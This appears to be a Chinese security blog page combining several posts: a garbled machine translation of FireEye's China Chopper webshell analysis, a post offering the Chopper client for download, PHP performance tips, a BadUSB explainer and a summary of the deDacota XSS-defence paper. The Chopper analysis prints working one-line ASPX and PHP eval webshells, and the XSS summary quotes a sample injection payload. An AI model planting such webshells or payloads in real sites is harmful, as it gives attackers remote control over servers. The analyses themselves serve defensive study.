 <%@ Page Language="Jscript"%><%eval(Request.Item["password"],"unsafe");%>

注意,“密码”将被替换为在客户端组件连接到Web外壳时要使用的实际的密码。

在接下来的文章中,我们提供的正则表达式,可以用来找到这个网站的外壳的实例。

效果


两者的有效载荷和所述客户机的能力是令人印象深刻的考虑其大小。网页壳客户端包含了“安全扫描”功能,独立的有效载荷,这给攻击者蜘蛛用蛮力密码猜测对认证门户网站的能力。


image006

图片6:中国菜刀作为一款网站扫描器除了漏洞打猎,此网站的外壳相结合时,在客户端和有效载荷,包括以下具有优良的数控功能:

    文件管理(文件浏览器)
    数据库管理(DB客户端)
    虚拟终端(命令行解释器)

在中国斩波器的主窗口中,右键单击目标URL之一带来了可能采取的行动(见图7)的列表。


image007

图7:数控客户端显示的网页壳的功能截图

文件管理

作为一个远程访问工具(RAT),中国斩波使得文件管理简单。能力包括上传和下载文件,并从受害人,使用文件检索工具的wget从网上下载文件到目标,编辑,删除,复制,重命名,甚至改变文件的时间戳。

image008

图8:文件管理提供了一个易于使用的菜单是由右键点击一个文件名启动

那么到底有多隐形的“修改文件的时间”选项?图9显示在测试目录中的三个文件的时间戳在Web壳修改时间戳之前。默认情况下,Windows资源管理器只显示“修改日期”字段。所以通常情况下,我们的Web外壳很容易脱颖而出,因为它比其他两个文件更新。

image009

图9:以前IIS目录显示时间戳的时间修改

图10示出在Web壳修改的时间戳之后的文件的日期。在我们的Web壳的修改的时间显示为相同的其它两个文件。因为这是显示给用户的默认领域,很容易融合到未经训练的眼睛 - 尤其是与目录多个文件。

image010

图10:IIS目录显示时间戳时间修改后

聪明的研究者可能会认为他们可以当场可疑文件由于创建日期被更改为相同的日期作为修改日期。但是,这并不一定是不正常的。此外,即使在检测到文件时,法医时间表会歪斜,因为攻击者种植该文件的日期是不再存在。为了找到真正的约会文件种植,你需要去到主文件表(MFT)。使用FTK,包住,或其他手段获取MFT后,我们建议使用mftdump(可从http://malware-hunters.net/all-downloads/)。撰稿FireEye研究员迈克SPOHN,mftdump是用于提取和分析文件元数据的一大利器。

下表显示了从MFT被拉为我们的Web壳文件的时间戳。我们之前和时间戳进行了修改后,拉着时间戳。请注意,“FN *”的字段保留其原有的时代,因此没有失去一切的调查!


Category Pre-touch match Post-touch match
siCreateTime (UTC) 6/6/2013 16:01 2/21/2003 22:48
siAccessTime (UTC) 6/20/2013 1:41 6/25/2013 18:56
siModTime (UTC) 6/7/2013 0:33 2/21/2003 22:48
siMFTModTime (UTC) 6/20/2013 1:54 6/25/2013 18:56
fnCreateTime (UTC) 6/6/2013 16:01 6/6/2013 16:01
fnAccessTime (UTC) 6/6/2013 16:03 6/6/2013 16:03
fnModTime (UTC) 6/4/2013 15:42 6/4/2013 15:42
fnMFTModTime (UTC) 6/6/2013 16:04 6/6/2013 16:04

数据库管理

数据库管理功能令人印象深刻的和有益的首次用户。在配置客户端,中国菜刀提供例如连接语法。

image011

图11:数据库管理需要简单的配置参数进行连接

连接后,中国砍刀还规定,您可能需要运行有帮助的SQL命令。


image012

图12:数据库管理提供与数据库交互的能力,甚至还提供了有益的预填充命令

命令shell访问

最后,命令shell访问是为你渴望的操作系统级别的交互。什么是多才多艺的小网站的外壳!

image013

图13:虚拟终端提供了一个命令shell用于OS互动

有效载荷属性

我们如上所述,这个后门是隐蔽由于一些因素,包括以下内容:

    尺寸
    服务器端内容
    客户端的内容
    AV检测率

尺寸

合法和非法软件通常遭受同样的原则:更多的功能等于更多的代码,这等于更大的尺寸。考虑到有多少功能,这个网站包含外壳,这是令人难以置信的小 - 只有73字节的ASPX版本,或4千字节磁盘上(见图14)。与此相比,其他Web炮弹如鸦片酊(619字节)或RedTeam渗透测试(8527字节)。中国斩波器是如此之小而简单,你可以想见,手动输入壳的内容。


 image014

图14:中国菜刀文件属性

服务器端内容

在服务器端的内容可以很容易地与香草相关的其他文件中忽略了安装复杂的应用程序。代码并不显得太邪恶本质,而是好奇。


image015

图15:文件的内容似乎相对温和的,特别是如果你添加一个温暖和模糊的字一样安全作为外壳的密码

下面是Web壳为它的两个品种的内容。


ASPX:

 

 

 <%@ Page Language="Jscript"%><%eval(Request.Item["password"],"unsafe");%>  

 

 

PHP:

 

 

 <?php @eval($_POST['password']);?>  

 

 

客户端内容

因为所有的代码都是服务器端语言,不产生任何客户端代码,浏览到Web Shell查看源作为客户端发现什么都没有。


image016

图16:查看网站壳的来源没有透露给客户端

反病毒检测率

运行Web外壳经过病毒扫描的网站没有病毒由于显示的检出率为0出14,这表明大多数,如果不是全部,防病毒工具将错过网络外壳被感染的系统上。


image017

图17:多种反病毒引擎检查,显示出中国砍刀来了干净的结果

为显示另一张图片也同样如此。无其47反病毒引擎标志中国菜刀恶意的。


image018

图18:多个AV引擎检查显示网页外壳结果来了干净
结论

我们希望这个帖子有先进这款小巧,灵活,隐身网络外壳的理解。如果你正在读这篇文章,你可能会面临中国砍刀现在 - 如果是这样,我们希望您在消除这种害虫的成功。在第二部分中,我们考察中国斩波器的运行平台,并描述其执行机制,流量分析和检测。





Mrxn 发布于 2014-12-20 08:48

时隔这么久,菜刀再次更新--中国菜刀20141213新版发布--强大的网站管理工具

这里的菜刀不是指切菜做饭的工具,而是中国安全圈内使用非常广泛的一款Webshell管理工具,想买菜刀请出门左拐东门菜市场王铁匠处。

关于中国菜刀

QQ截图20141220092444.png

中国菜刀用途十分广泛,是一款专业的网站管理软件,支持多种语言,小巧实用,用途广泛,使用方便,据说是一位中国军人退伍之后的作品。

之前国外安全公司Fireeye对这款工具进行了详细的剖析,也可以说是一部非常nice的菜刀使用教程:

第一部分(已翻译成中文了):中国菜刀剖析第一部分

第二部分(已翻译成中文了):中国菜刀剖析第二部分

caidao-20141213.zip (右键另存为-保存)
(chopper.exe)md5各版本校验码: 
 20111116 => 5001ef50c7e869253a7c152a638eab8a
 20141213 => 4b4a956b9c7dc734f339fa05e4c2a990




Mrxn 发布于 2014-12-20 08:18

PHP性能优化

一、规范说明

性能是网站运行是否良好的关键因素, 网站的性能与效率影响着公司的运营成本及长远发展,编写出高质高效的代码是我们每个开发人员必备的素质,也是我们良好的职业素养。

二、影响性能的因素

A、 商业需求

1. 需求合理性

2. 需求与系统的整合

3. 需求所带来的商业利益是否与需求开发的成本成正比

4. 需求所带来的风险

B、 Web 服务器

1. 并发处理能力

2. 高负载的能力

3. 负载均衡的能力

4. 动态内容与静态内容的处理能力

5. Web 服务器部署

C、 DataBase 服务器

1. 并发访问

2. 数据库服务器的部署

3. 数据库的 shema 架构与的表设计是否合理

4. 数据检索

D、 操作系统

E、 客户端请求

F、 程序/语言

三、分析性能的指标

1. 程序的运行时间 2

2. 程序的运行所消耗的内存

3. 单位时间内的并行处理

4. 磁盘 IO 的处理

四、优化性能的目标

快速、并发、资源消耗低(内存、磁盘 IO、CPU 负载)

五、优化性能的原则

1. 服务器配配置最优化

2. 服务器部署合理化

3. 商业需求合理并与产出的商业价值成正比

4. 架构可用、可维护、可扩展

5. 程序的正确性、简单性、逻辑的合理性。

6. 不断的分析性能的的瓶颈

7. 不断的重构已有的代码

8. 优化的优先级:program->database->web sersver->os->client

六、优化

A、 程序优化

· 变量

1、 变量大小,注意变量大小是节约内存的最有效手段,对于来自用户表单、数据库和文件缓存的数据都需要控制变量的大小。 因为cpu要处理的数据是来源于内存

2、 变量有效期,使用unset()函数注销不需要的变量是一种良好的习惯,将一些不需要的变量立即注销可提高内存的使用率。

3、 复制变量,尽量不要复制变量,否则就会带来1倍的内存消耗,即使复制变量也应该要立即注销原有变量。

4、 变量类型,初始化变量请注意其变量类型,一个变量在执行过程中最好只有一种类型状态。对于数组变量,请初始化声明,如下: $a = array();

5、 临时变量,是处理业务逻辑的临时存储,这些都是需要消耗内存的。如果临时变量使用结束请立即注销,特别是在一些过程式代码的执行流程中,对于一些函数,如果业务非常复杂,同样需要立即注销临时变量

6、 静态变量,对于一些需要由复杂业务产生的变量,如果在程序的执行过程中多次产生并使用,可考虑使用静态变量,减少程序的cpu执行次数

7、 变量的性能:局部变量>全局变量>类属性>未定义的变量。

· 循环

1、 尽量减少循环的次数。

2、 尽量减少循环的潜逃的层次,不要超过三层。

3、 避免在循环内有过多的业务逻辑。

4、 不要循环包含文件

5、 不要循环执行数据库操作。

6、 优先使用foreach,它比for/while效率高

7、 不要把 count/strlen/sizeof 放到 for 循环的条件语句中 For($i=0,$count=count($array);$i<$count;$i++){} 不要使用for($i=0;$i<count($array);$i++){};

8、 for($i=$total;$i>0;$i–){}性能好于for($i=0;$i<$total;$–){}

9、 保持循环体内的业务逻辑清晰

· 函数

1、 函数职责清晰,一个函数只干一件事,不要杂揉过多的业务逻辑

2、 函数代码体不要超过20行,反之,考虑拆分。

3、 优先使用php内置函数

4、 常量与函数同时能干一件事,优先使用常量。

· phpversion() < PHP_VERSION

· get_class() < CLASS

· is_null() < NULL ===

5、 echo 的性能好于print,输入多个变量的时候用echo $str,$str1,不用.连接符

6、 $_SERVER[REQUEST_TIME]替换time();

7、 字符串替换strtr()->str_replace()->preg_replace()->epreg();

8、 发挥trim最大功效,替换substr。$filepath=trim($filename,’/’).’/’;

9、Isset/empty 虽然两个函数功能有所差异,但在同样的情况下推荐使用 empty()

10、isfile/file_exist 两个函数的功能有所不同,file_exist既可判断文件是否存在,也可以判断目录是否存在,在同样的情况下推荐使用is_file

· 文件

1、 减少文件包含数,减少磁盘 IO

2、 使用完整路径,或者容易转换的相对路径。避免在 include_path 查找

3、 文件的代码行数不要超过 2000 行

4、Require_once/include_once 效率低于 require/include, 需要额外的去查看系统是否已经调用过这个文件. 因为它们在一个 opcode 缓存下的调用非常慢

5、程序执行文件用 requie/require_once,缓存文件用include/include_once。Include 效率好于 require

6、优化 spl 中的文件自动加载机制,可参靠 yii

7、类库文件加载,是否考虑类是否已经实例化,可考虑采用设计模式之单例模式

8、文件读写的并发性

面向对象

1、 控制实例的创建的数量

2、 优先使用常量、类常量

3、 优先例用静态变量,静态属性

4、 类的结构合理

5、 面象接口编程

6、 封装变化点

7、 依赖于抽象,不依赖于细节

8、 优先使用静态成员

9、 类的接口清晰稳定,类的职责单一,类与类的通信合理

10、 使用常量的好处 编译时解析,没有额外开销 杂凑表更小,所以内部查找更快 类常量仅存在于特定「命名空间」,所以杂凑名更短 代码更干净,使除错更方便

字符串

1、 用单引号替代双引号引用字符串;避免检索字符串中的变量

运算

1、 用 i+=1 代替i=i+1。符合c/c++的习惯,效率还高

2、 ++$i 的效率高于++$i,–$i 同理

数组

1、 多维数组尽量不要循环嵌套赋值;

2、 使用$array[‘name’]方式访问数组,禁止$array[name]/$array[“name”]

判断

1、 逻辑判断请优先使用switch 的方式,对于业务逻辑相对较多的情况请选择if/else,提高代码的可读性

2、 尽量控制if/else判断的个数,如果太多请考虑功能优化或代码优化

3、 尽量使用恒等用于比较判断,恒等的效率高于等于,而且还能避免一些类型强制转换的错误

4、 if/else与_&&,单条语句判断请选择&&的形式, &&的效率高于if/else,如下 :

if ($a == 1) {

$b = 2;

}可选择为($a == 1) && $b = 2;

缓存

1、 使用php加速器,缓冲opcode

2、 例用memcache/nosql

3、 使用内存数据库、

4、 使用文件缓存

5、 缓冲功能 5

其它

1、 少用@符号,严重影响性能

2、 适时关闭远程资源连接如数据库,ftp、socket等,适时的清理这些资源

B、 数据库优化

1、 合理的商业需情

2、 数据库 schema 架构优化

3、 垂直与水平分库分表

4、 索引优化,查询优化

5、 第三方开源检索工具(sphinx)

6、 主从数据库服务器的使用。

C、 Web 服器优化(暂未整理,有相应的 Web 服务器优化手册)

D、 操作系统优化(暂未整理,有相应的 OS 优化手册)

E、 前端优化

1、合理的 html 结构

2、合理 html 与css 的同时,考虑 Css 设计合理,减少 http 请求

3、合理 html 与java script 的同时,考虑拆分是否合理,减少 http 请求

4、优化 java script 代码,让用户有良好的体验

5、根据 http 协议,优化高并发请求

七、性能检测工具

Web Server

ab

http_load

PHP

apd

xdebug

Mysql

explain

profiler


Mrxn 发布于 2014-12-19 22:23

骚年们 别CC我博客 没有价值

有价值么?


值得你这么投入?


我这里没有啥有用的数据?


你喜欢啥就说,我直接发你邮箱。


花这些时间还不如好好学学编程,PHP,asp.net、Java、C#等等 那个不好。



Mrxn 发布于 2014-12-18 19:55

插入U盘自动攻击:BadUSB原理与实现(含视频)

漏洞背景

“BadUSB”是今年计算机安全领域的热门话题之一,该漏洞由Karsten Nohl和Jakob Lell共同发现,并在今年的BlackHat安全大会上公布。BadUSB号称是世界上最邪恶的USB外设。

笔者使用他们的代码做了个类似的U盘,用户插入U盘,就会自动执行预置在固件中的恶意代码,下载服务器上恶意文件,执行恶意操作。注意,这里的U盘自动运行可不是以前的autorun.inf自动运行程序哦,具体的技术细节可以参考后文内容。

视频链接:http://v.qq.com/boke/page/l/g/w/l01425u2igw.html

BadUSB最可怕的一点是恶意代码存在于U盘的固件中,由于PC上的杀毒软件无法访问到U盘存放固件的区域,因此也就意味着杀毒软件和U盘格式化都无法应对BadUSB进行攻击。

BadUSB原理

在介绍BadUSB的原理之前,笔者在这里先介绍下BadUSB出现之前,利用HID(Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)进行攻击的两种类型。分别是"USB RUBBERDUCKY"和"Teensy"。

TEENSY介绍

攻击者在定制攻击设备时,会向USB设备中置入一个攻击芯片,此攻击芯片是一个非常小而且功能完整的单片机开发系统,它的名字叫TEENSY。通过TEENSY你可以模拟出一个键盘和鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器与存储空间和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机,无论自动播放是否开启,都可以成功。

关于TEENSY,可以参考天融信阿尔法实验室的《HID攻击之TEENSY实战


USB RUBBER DUCKY介绍

简称USB橡皮鸭,是最早的按键注入工具,通过嵌入式开发板实现,后来发展成为一个完全成熟的商业化按键注入攻击平台。它的原理同样是将USB设备模拟成为键盘,让电脑识别成为键盘,然后进行脚本模拟按键进行攻击。

这两种攻击方式,是在BadUSB公布之前,比较流行的两种HID攻击方式,缺陷在于要定制硬件设备,通用性比较差。但是BadUSB就不一样了,它是在“USB RUBBER DUCKY”和“Teensy”攻击方式的基础上用通用的USB设备(比如U盘)。

U盘的内部构造


U盘由芯片控制器和闪存两部分组成,芯片控制器负责与PC的通讯和识别,闪存用来做数据存储;闪存中有一部分区域用来存放U盘的固件,它的作用类似于操作系统,控制软硬件交互;固件无法通过普通手段进行读取。

BadUSB就是通过对U盘的固件进行逆向重新编程,相当于改写了U盘的操作系统而进行攻击的。

USB协议漏洞

为什么要重写固件呢?下面我们可以看看USB协议中存在的安全漏洞。

现在的USB设备很多,比如音视频设备、摄像头等,因此要求系统提供最大的兼容性,甚至免驱;所以在设计USB标准的时候没有要求每个USB设备像网络设备那样占有一个唯一可识别的MAC地址让系统进行验证,而是允许一个USB设备具有多个输入输出设备的特征。这样就可以通过重写U盘固件,伪装成一个USB键盘,并通过虚拟键盘输入集成到U盘固件中的指令和代码而进行攻击。

BadUSB利用代码分析

笔者对KarstenNohl和Jakob Lell公布的代码进行简单的一个流程解析。

这样一个带有恶意代码的U盘就产生了,更详细的可以搜索Karsten Nohl 和 Jakob Lell公布的代码。

总结

“USB RUBBER DUCKY”、“TEENSY”、“BadUSB”三种最终都是利用了USB协议的漏洞而进行攻击的,“BadUSB”和另外两者的区别在于:BadUSB可以利用普通的USB设备,而不需要进行硬件定制,更具有普遍性。

HID攻击方式有很多种,BadUSB作为其中一种是通过伪装成键盘设备来实现的,同时HID攻击也可以通过伪装成网卡进行DNS劫持攻击。BadUSB的危害目前局限于单向感染,即USB设备感染PC,暂无发现从PC感染USB设备案例。

为了预防此类安全风险,需要我们在日常使用USB设备时,不要使用陌生的USB设备,避免USB存在恶意代码导致安全风险。

延伸:更多的USB接口攻击

通过USB接口攻击的案例很多,BadUSB只是一类,还有通过USB接口横跨PC和Mobile平台进行攻击的案例。




     比如今年爆发的WireLurker蠕虫,感染病毒的电脑系统会通过USB接口去间接感染iOS设备,即使是未越狱的设备也无法避免;


最近央视也报道了充电宝盗取手机隐私的案例对于愈演愈烈的USB风险,应用层还没有见到好的解决方案。倒是硬件层面比较容易解决。比如360无线安全研究团队的SecUSB,还有我们腾讯安全应急响应中心的SecLine。原理都是将USB中的两根数据线去掉。转自freebuf


Mrxn 发布于 2014-12-17 19:52

deDacota:通过自动化分离数据和代码防御服务端XSS漏洞

原文题目:deDacota: Toward Preventing Server-Side XSS via Automatic Code and Data Separation

原文地址:http://cs.ucsb.edu/~adoupe/static/dedacota-ccs2013.pdf

以下为译文:


Web应用持续受到各种方式的攻击。跨站脚本漏洞是最流行的漏洞之一,产生原因是不被信任的恶意数据通过浏览器提交给应用,并且被解释为程序代码,最终被浏览器执行,造成攻击。本文介绍一种方法可以高效、自动重写应用代码,实现分离网页代码和内联JS脚本,应用CSP策略避免跨站脚本漏洞的产生。

一、跨站脚本漏洞:

跨站脚本攻击(Cross-site scripting,通常简称为XSS)发生在客户端,可被用于进行窃取隐私、钓鱼欺骗、偷取密码、传播恶意代码等攻击行为。恶意的攻击者将对客户端有危害的代码放到服务器上作为一个网页内容, 使得其他网站用户在观看此网页时,这些代码注入到了用户的浏览器中执行,导致用户受到攻击。一般而言,利用跨站脚本攻击,攻击者可窃会话COOKIE从而窃取网站用户的隐私,包括密码。

跨站漏洞从利用方式来说分为反射性漏洞和存储型漏洞,发生原因是服务端对用户输入的数据没有进行适当的过滤,导致发送给浏览器的网页携带恶意脚本,从而产生漏洞。从跨站脚本产生的位置不同,又可以分为客户端跨站漏洞和服务端跨站漏洞。客户端跨站漏洞的产生不依赖于用户提交到服务器的数据,也称之为DOM-XSS漏洞。而服务端跨站漏洞依赖于用户提交到服务器的数据,本文主要的研究内容就是如何通过分离网页代码和内联JS脚本,并应用CSP的方式阻止服务端XSS攻击。

二、内容安全策略(CSP)

为了缓解很大一部分潜在的跨站脚本问题,浏览器的扩展程序系统引入了内容安全策略(CSP)的一般概念。这将引入一些相当严格的策略,会使扩展程序在默认情况下更加安全,开发者可以创建并强制应用一些规则,管理网站允许加载的内容。

CSP 以白名单的机制对网站加载或执行的资源起作用。在网页中,这样的策略通过 HTTP 头信息或者 meta 元素定义。CSP虽然提供了强大的安全保护,但是他也造成了如下问题:Eval及相关函数被禁用、内嵌的JavaScript代码将不会执行、只能通过白名单来加载远程脚本。这些问题阻碍CSP的普及,如果要使用CSP技术保护自己的网站,开发者就不得不花费大量时间分离内嵌的JavaScript代码和做一些调整,本文研究的技术可以自动化分离网页代码和内联JS脚本,帮助网站支持CSP技术从而避免潜在的跨站攻击。

三、内联JS分离技术

内联JS分离技术包含三个主要步骤:

1、 静态分析网页代码的HTML输出。

2、 从HTML页面抽取出全部内联JavaScript代码。

3、 重写应用代码以便于适应分离的内联JavaScript代码。

这项分离技术也有一些局限性,比如不能应用于混淆、加密后的代码,只针对服务端XSS漏洞,对于基于DOM的XSS漏洞完全无效。所以这项技术对于XSS漏洞来说并不是万灵药,在与CSP策略结合后只解决大部分XSS的问题,减轻了开发人员的工作量,如果想要完全防御XSS漏洞,只需针对动态产生的JS代码和DOM-XSS做过滤和检测。

以ASP.NET网页表单页面为例。

1

图一: 简单的ASP.NET代码

首先需要确定应用程序是如何输出内容到页面:

<%%>之前的内容会直接输出到HTML页面,并且他们都是C#代码。

<%=代表这个C#代码是变量,在程序运行时其内容会被决定,并输出到HTML页面。

从图一中可以看出,第二行定义的是常量,第三行定义的是变量,在第七行username这个变量就被输出到HTML中,作为内联JS脚本执行。

2

图二:被C#编译器编译后的图一中代码。

在经过C#编译后的代码中,Write函数代替了<%%>标签作为输出函数,可以将内容写到页面当中。而var username代替了<%=标记,通过第八行的Wirit(this.username)将变量内容输出到页面当中。

在第一个阶段有两个关键步骤。第一个是确定将要输出到页面的内容。第二个是确定输出函数被调用的顺序。

我们使用points-to分析算法静态分析源代码来解决这个问题。简单的说points-to算法可以确定指针与变量地址的对应关系,最初被应用于C代码的静态分析当中。这个算法可以确定变量内存储的是常量字符串还是变量。通过它就可以判断Write函数将要输出的内容是常量还是变量,也就确定了那些地方是我们需要分离的数据。

为了确定Write函数被调用的顺序,我们使用了标准的控制流程图,可以准确确定函数调用顺序。这个控制流程图是一个无回路有向图(DAG),任何从根节点出发的叶子节点都代表一个可能的页面输出。

3

图三:程序控制流程图

图中每个实线圈出的节点都是直接输出常量到页面中,虚线圈出的节点是变量输出到节点,该节点值由程序动态决定。

在第二个阶段,我们使用之前生成的有向图精确地分离内联Javascript代码。从根节点出发到达的每个叶子节点都代表一个潜在的页面输出。我们使用一个递归算法递归全部的路径,对每个输出字符串进行识别,从而分离出Javascript代码。在这个过程中可能产生路径爆炸问题,因为即使一些很简单的代码也可能产生大量的逻辑路径,导致遍历失败。我们通过两种方法解决这个问题,第一个就是忽略注释代码。第二个是在每一对Javascript标记中处理不同路径,减少一次性处理的范围。当全部的内联Javascript代码都被识别之后,我们将结果传入下一个阶段——代码重写。

第三个阶段将全部内联Javascript代码与HTML代码分离,将他们存入外部Javascript文件中。原来写Javascript代码的地方被替换为<script src=”External.js”></script>这种形式。程序依照以下流程来重写应用:首先检查Wirte函数中要输出的内容,如果包含Javascript的开始标记,就使用SESSION标记指明这个地方含有内联Javascript代码,重写功能就会先移除这个Javascript标记然后将JS代码内容存入Session缓冲区,并且保持SESSION标记是唯一的,当程序读取到JS结束标记后,删除这个标记,一个内联JS就完整的与代码分离了。之后这个过程一直重复,直到内联JS代码全部被存入Session缓冲区为。最后对每个session缓冲区区hash值,作为外部JS文件名称,以便程序调用。

4

图四:重写之后的代码。

执行完这些步骤我们已经可以完全分离了内联JS脚本,如果其中的脚本仅仅是静态产生的JS脚本,那么网站在应用CSP后就可以完全防御XSS攻击的威胁。但是内联JS脚本中还有动态产生的脚本,将这些脚本仅仅分离到外部JS文件不能防御XSS攻击。比如针对图一中的代码。如果输入username=””;alert(‘xss’)//;那么最终在浏览器执行的脚本会是<script> var username=””;alert(‘xss’)//”;></script>,依然产生跨站威胁。这种跨站威胁应用我们的处理流程是不能完全根除的,因为这是服务端跨站漏洞。但是我们为了减轻动态脚本产生XSS漏洞的可能性,采取了两个处理方法。第一个方法是标记并记录动态脚本,方便人工评估动态产生的脚本是否包含漏洞。第二个方法是定制相应的过滤方法,对动态输出的内容进行转义、过滤。这两个方法只能减轻动态JS脚本产生XSS漏洞的可能性,但不能完全杜绝,这也就是为什么本文主要针对服务端XSS漏洞。

四、评估与实验

实验主要评估该方法的三个方面,第一个是抵御XSS攻击的效果,第二个是重写后的应用源代码是否会产生异常,第三个是重写应用代码对应用性能的影响。

实验选取了以下应用作为实验对象:

5

图五:选取的实验对象。

实验对象选取的条件主要是以下三点:

1、 应用程序开源。

2、 应用包含已知的XSS漏洞。

3、 应用代码没有经过混淆、加密。

因为ASP.NET开源项目很少,所以最后满足条件的项目只有这6个。这些项目有MVC框架的也有非MVC框架,并包含一定量的代码行数(LOC),满足我们的实验条件。

五、    实验结果:

当内联JS代码分离完成及应用了CSP策略后,我们手工的使用EXP对网站进行攻击,原始应用都产生了漏洞,但经过流程处理后的应用都防御了攻击。为了检测处理后的网站时候会产生错误,我们采取手工测试的方法,对每个页面的功能进行检测,最后发现没有任何错误产生。在图六中我们可以看到不同应用的JS分布。安全动态JS指程序识别出动态生成的JS输出内容并进行清理转义,已经安全。不安全的动态JS是我们不能正确识别的,仅进行记录并分离到外部JS文件中。图中(4)标记代表在ASP.NET框架编译程序时会自动产生4个JS脚本,这是我们不可控的元素,不作考虑。最后我们测试了应用性能,结果显示内联JS代码分离可根据内联JS代码使用数量的多少,适当减小页面代码,加速页面加载速度。对于内联JS使用较少的页面会产生反效果,但是不会产生较大影响。

6

图六:内联JS分离完成后的文件分布。

7

图七:内联JS分离完成后页面大小及响应时间对比。

六、总结与不足:

这项技术主要通过结合CSP策略来防御XSS攻击,根据我们的实验结果,该项技术已经达到一定的实际应用水平,可以抵御服务端XSS攻击并且不影响程序的执行结果和网站效率。

这项分离技术也存在一些局限性,比如不能应用于混淆、加密后的代码,只针对服务端XSS漏洞,对于基于DOM的XSS漏洞完全无效。虽然这个方法已经基本可以应用到实际场景当中,但是程序获得内联JS的方法还需要持续改进。目前对于复杂的框架模板比如PHP经常使用的框架Thinkphp,不修改原有程序就识别内联JS脚本存在困难。但是只要解决了输出是如何被应用创建的,和怎样重写应用这两个问题,那么这项技术就可以应用于该框架。对于不同的框架需要不同的定制,对框架通用性较差。



Mrxn 发布于 2014-12-16 13:24

搜索

日历

标签